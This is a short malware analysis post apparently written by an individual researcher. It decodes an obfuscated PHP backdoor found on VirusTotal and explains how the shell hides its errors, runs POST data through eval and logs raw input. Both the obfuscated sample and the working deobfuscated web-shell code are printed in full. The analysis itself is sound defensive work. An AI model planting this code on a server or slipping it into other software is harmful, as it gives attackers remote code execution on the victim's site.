An analysis of a PHP backdoor I came across on VirusTotal.
Many thanks to VirusTotal for providing the sample!
If you know anything about PHP, you would know it is a scripting language. There isn’t a compiler, but there is an interpreter which converts code into a ‘program’.
So, armed with that knowledge, the sample can be analyzed in any text editor.
<?php eval(gzinflate(base64_decode("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"))); ?>
The PHP code has been obfuscated using some pretty rudimentary techniques, they are pretty easy to reverse.
The deobfuscated code is as follows:
<?php @error_reporting(0); @ini_set("display_errors", 0); @ini_set("log_errors", 0); @ini_set("error_log", 0); if (isset($_GET['r'])) { print $_GET['r']; } elseif (isset($_POST['e'])) { eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); } elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { $data = file_get_contents('php://input'); if (strlen($data) > 0) print 'STATUS-IMPORT-OK'; if (strlen($data) > 12) { $fp = @fopen('tmpfile', 'a'); @flock($fp, LOCK_EX); @fputs($fp, $_SERVER['REMOTE_ADDR'] . " " . base64_encode($data) . ""); @flock($fp, LOCK_UN); @fclose($fp); } } exit;
The code is a pretty interesting backdoor.
The first noticeable thing are these few lines:
<?php @error_reporting(0); @ini_set("display_errors", 0); @ini_set("log_errors", 0); @ini_set("error_log", 0);
According to the PHP Documentation error_reporting
Sets which PHP errors are reported. The function is called with the level of logging to enable int error_reporting ([ int $level ] )
. When 0
is parsed PHP will not report any errors during script execution.
So the above little code block basically disables all logging locally for the backdoor in the interpreter.
Further investigation of the script shows the script accepts 3 ‘parameters’ fed through GET and POST requests:
- `$_GET[‘r’]`
- `$_POST[‘e’])`
- `$_SERVER[‘HTTP_CONTENT_ENCODING’]` & `$_SERVER[‘HTTP_CONTENT_ENCODING’]`
Personally I am not familiar with the $_SERVER
variable, so lets hit the documentation again: http://php.net/manual/en/reserved.variables.server.php
.
$_SERVER
is an array containing information such as headers, paths, and script locations. The entries in this array are created by the web server. There is no guarantee that every web server will provide any of these; servers may omit some, or provide others not listed here.
So essentially the backdoor contains 3 functions.
- Prints `r` based on a `$_GET` parameter. EG: `http://url.com/x.php?r=Hello` will print `Hello` when the URL is visited.
- Evaluates (executes) code sent in a post request to `http://url.com/x.php?e`
- Writes a binary named `tmpfile` if binary data is sent to the server from `php://input`
References
Sample SHA-256: 45e617bebb678925a0226fda6e3de79d713861e4f5c38110f2e619b9d7aa320f
Virus-Total Analysis: https://virustotal.com/en/file/45e617bebb678925a0226fda6e3de79d713861e4f5c38110f2e619b9d7aa320f/analysis/
Acknowledgements
Many thanks to the folks at VirusTotal!